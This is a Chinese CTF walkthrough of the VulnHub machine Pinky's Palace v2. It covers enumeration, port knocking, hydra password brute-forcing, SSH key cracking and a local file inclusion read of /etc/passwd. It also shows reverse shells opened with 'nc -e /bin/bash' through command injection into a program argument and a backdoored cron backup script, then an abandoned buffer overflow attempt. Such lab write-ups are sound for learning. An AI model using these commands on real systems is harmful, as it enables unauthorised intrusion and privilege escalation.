VulnHub-Pinky’s Palace: v2-靶机渗透学习
2021-01-18 20:42:31 Author: www.freebuf.com(查看原文) 阅读量:158 收藏

靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v2,229/

靶机难度:中级(CTF)

靶机发布日期:2018年3月18日

靶机描述:一个现实的Boot2Root。获得对系统的访问权限并阅读/root/root.txt

Wordpress将无法正确呈现。您将需要使用控制台上显示的IP更改主机文件:echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts

进入难度:容易/中级

扎根困难:中级/困难

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐

信息收集

nmap扫描IP

1610969233_60057091e8b0aa4240da0.png!small?1610969234996

根据提示先设置kail上hosts文件

echo 192.168.16.147 pinkydb | sudo tee -a /etc/hosts

1610969270_600570b69e5d130a07c53.png!small?1610969271546

1610969262_600570ae514753a74fd10.png!small?1610969263147

nmap扫描端口

1610969276_600570bc9db0a6788384a.png!small?1610969277680

80 http WordPress 4.9.4

4655 关闭

7654 关闭

31337 关闭

访问80端口

1610969286_600570c6ee4c1b7b0ab36.png!small?1610969305056

看着像一下wordpress框架,使用wpscan枚举一下用户

wpscan --url http://pinkydb/--enumerate u --api-token 'API'

1610969302_600570d606827e5b6ee3c.png!small?1610969305057

发现pinky1337用户,记录一下

直接dirb爆破目录

1610969308_600570dca992c1711dc30.png!small?1610969309750

分别访问目录在http://pinkydb/secret/发现bambam文件

1610969315_600570e3d390abbe36186.png!small?1610969316704

看着像是一个端口试探,使用knock测试一下

1610969323_600570eb84f20bb86bdcc.png!small?1610969324518

端口没有变化,使用python,根据上述的3个数字列出全部的排列组合,因为不知道其是根据哪个顺序来判断的

from itertools import combinations, permutations

print(list(permutations([8890,7000,666])))

1610969334_600570f6e425e6f1c5aed.png!small?1610969335897

使用脚本将排列组合,knock测试

#!/bin/bash

while read -r line

do

echo '---------------'

knock -v 192.168.16.147 $line

done < /tmp/knock.txt

1610969348_60057104496dbcae6b122.png!small?1610969349122

1610969361_6005711196fbe762680f6.png!small?1610969362581

nmap扫描端口,发现端口都处于open状态了

1610969372_6005711cccd1660f616e4.png!small?1610969374040

4655  ssh

7654 http nginx

31337  ??

ssh端口没有密码

7654端口可以访问(需要加上域名)

1610969379_6005712330c4784407146.png!small?1610969380172

1610969400_60057138bd33ab148e1fc.png!small?1610969401794

Sqlmap没有跑出来漏洞,本来想使用rockyou.txt字典跑一下,看了看算了吧太慢了,先用cewl  生成一个字典试试

cewl http://pinkydb/-w /tmp/cs.txt

1610969408_600571401d5771d052c8e.png!small?1610969408878

使用hydra对admin、pinkydb、pinky1337用户用cewl生成的字典跑一下密码

hydra -L name.txt  -P cs.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"

1610969422_6005714e3e1d90d3b09e0.png!small?1610969423556

找到账号密码

pinky\Passione

pinky1337\Pinky

提权

登陆pinky用户,获得stefano用户的秘钥

1610969433_60057159877539aff5d9e.png!small?1610969434697

将文件下载,使用秘钥登陆,发现秘钥需要密码

  • 这是我们首先使用ssh2john将将密钥转换为可破解的哈希,使用John the Ripper破解这个哈希值,这样就可以破解私有ssh密钥的密码

  • ssh2john可以转化ssh私钥为john可以破解的格式.但是最新的JTR上没有发现ssh2john,一下是github:

  • https://github.com/magnumripper/JohnTheRipper

  • run目录下有ssh2john.py

换为可破解的哈希

ython ssh2john.py  id_rsa > id_rsa.txt

1610969488_6005719034c4b7cb6abcc.png!small?1610969491387

john破解ssh秘钥的密码

john -w=/usr/share/wordlists/rockyou.txt id_rsa.txt

1610969529_600571b9ecb373420702a.png!small?1610969530911

获得密码:secretz101

ssh登陆成功

1610969542_600571c6d4defaf247d5d.png!small?1610969543809

在tools目录下获得提示:Pinky给我做了这个程序,所以我可以很容易地给他发信息。

1610969557_600571d5d1ad0d6ab1d2a.png!small?1610969558751

我们看一下qsub小程序,只有执行没有读写权限

1610969563_600571db1d88c03ba7019.png!small?1610969564013

看到程序的所属组为www-data,看来还是和网站有关系,在刚刚登陆的界面中,发现存在远程文件包含漏洞

http://pinkydb:7654/pageegap.php?1337=../../../../../../../../etc/passwd

1610969575_600571e752d96e11a94f2.png!small?1610969580040

这样的话看看可以读到qsub程序不

1610969593_600571f945fd5cbe7c2cf.png!small?1610969598588

发现了TERM环境变量

xterm 是图形界面baivirtual terminal

virtual terminal ,是一个协议,一个接bai口,用于在各种连接du环境中提zhi供如同本机控制台dao一样的界面,文字操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。

1610969600_60057200241685dbaa96d.png!small?1610969600835

1610969615_6005720f8d1167f50cc6b.png!small?1610969616373

直接想程序输入一个反弹shell,测试一下

./qsub '$(nc -e /bin/bash 192.168.16.143 6666)'

1610969623_60057217baf57c6317473.png!small?1610969624544

1610969629_6005721d0bfd58b42808c.png!small?1610969629858

获得pinky权限

去/home/pinky/messages/目录看一下stefano_msg.txt文件

1610969634_60057222c7226c6a17ec7.png!small?1610969635603

这就是执行qsub程序添加的参数

查询关于备份访问的目录和文件看一下,在/usr/local/bin目录下发现一个sh文件

1610969650_60057232d9e80afcd2b6d.png!small?1610969652266

查看文件所属组pinky,需要newgrp命令切换当前用户组,在查看文件

查看发现这是一个备份的脚本,删除压缩包,在将html目标压缩备份

1610969656_60057238be983d03814fc.png!small?1610969657740

直接将反弹shell接入文件,在靶机执行备份的时候,就可以获得demon用户的shell

echo 'nc -e /bin/bash 192.168.16.143 7777' >> /usr/local/bin/backup.sh

cat /usr/local/bin/backup.sh

(一步小心吧源文件的内容覆盖了。。。。。)

1610969669_6005724539a5cdab1873a.png!small?1610969670029

等待一会,因为这备份脚本一般都是定时执行的,获得demn用户shell

1610969682_600572525aed038df9dc4.png!small?1610969683119

命令crontab -l 我们看到demon用户5分钟只用一个backup.sh脚本

1610969692_6005725c9826285422380.png!small?1610969694668

经过排查,发现root用户启动了一个拥有者为demon用户的程序

ps uax

1610969702_60057266cc6d4908217d4.png!small?1610969703518

find / -name 'panel' 2>/dev/null

1610969719_6005727792bf348aa13b3.png!small?1610969720434

使用nc将文件传输到kail上测试

kail执行命令:nc -lvp 4666 > panel

靶机执行命令:nc 192.168.16.143 4666 < panel

赋执行权限

1610969749_600572952eb0c66c304b4.png!small?1610969749938

gdb调试程序,info functions查看函数,发现程序使用了strcpy函数

1610969762_600572a2ca0da8fde617c.png!small?1610969763997

运行程序,看到显示:从子进程13940中分离fork之后的进程。在本机发现程序对应的31337端口,看来靶机上启动的31337端口应该就是这个程序。

连接kail上的31337端口,输入1024个字符,看看有没有溢出报错

1610969769_600572a9e6ced0e233231.png!small?1610969772935

1610969778_600572b24c94614007da8.png!small?1610969779807

根据上图我们看到每次nc连接输入后,程序会再次创建一个子进程,也因为gdb调试时,默认跟踪父进程,所有我们看不到子进程的具体内容。

首先我们需要让gdb跟踪子进程,再将父进程设置为暂停状态。

set follow-fork-mode child

set detach-on-fork off

使用gdb调试的时候,gdb只能跟踪一个进程。可以在fork函数调用之前,通过指令设置gdb调试工具跟踪父进程或子进程。默认情况下gdb是跟踪父进程的。

  • show follow-fork-mode : 查看目前的跟踪模式。

  • set follow-fork-mode child : 命令设置gdb在fork之后跟踪子进程。

  • set follow-fork-mode parent : 设置跟踪父进程。

  • show detach-on-fork : 显示了目前是的detach-on-fork模式

  • set detach-on-fork on : 只调试父进程或子进程的其中一个(根据follow-fork-mode来决定),这是默认的模式。

  • set detach-on-fork off : 父子进程都在gdb的控制之下,其中一个进程正常调试(根据follow-fork-mode来决定),另一个进程会被设置为暂停状态。

1610969814_600572d62977ba155a813.png!small?1610969814920

在此执行,我们看到了溢出报错

1610969829_600572e5270d691c34126.png!small?1610969832042

1610969856_600573003fe2b20523442.png!small?1610969857128

0x00000000004009aa in handlecmd

看来是handlecmd函数中存放在输入、输入的信息,首先我们找到溢出的位置

echo $(python -c "print 'a' * 113") | nc 192.168.16.143 31337

1610969865_600573093de0971ec2150.png!small?16109698671591610969871_6005730f79ce2de6b3050.png!small?1610969873047

经过测试发现第113个字符是溢出位置的开始

在测试中发现120个字符处开始,我们测试的字符开始覆盖了内存位置

1610969879_6005731764518e274c6b3.png!small?1610969881336

上图第一个结果为126个字符a时,内存地址未覆盖。

第二个结果为124个字符a时,内存地址中数字61为ASCLL编码的a。

第三个结果为120个字符a时,内存地址未覆盖。

使用 info register查询系统寄存器信息

1610969892_6005732454f159368f597.png!small?1610969893415

之后因为这个问题卡了两天了,暂时先放放吧,回头学会了,再来看这个哎。

如果想接着学习可以看看这篇文章,写的很好。https://blog.csdn.net/qq_34801745/article/details/104070421

总结

第一次靶机没有打完,打不下去了,缓冲区溢出的问题我真的太垃圾了。继续加油学习吧!!!


文章来源: https://www.freebuf.com/articles/web/261184.html
如有侵权请联系:admin#unsafe.sh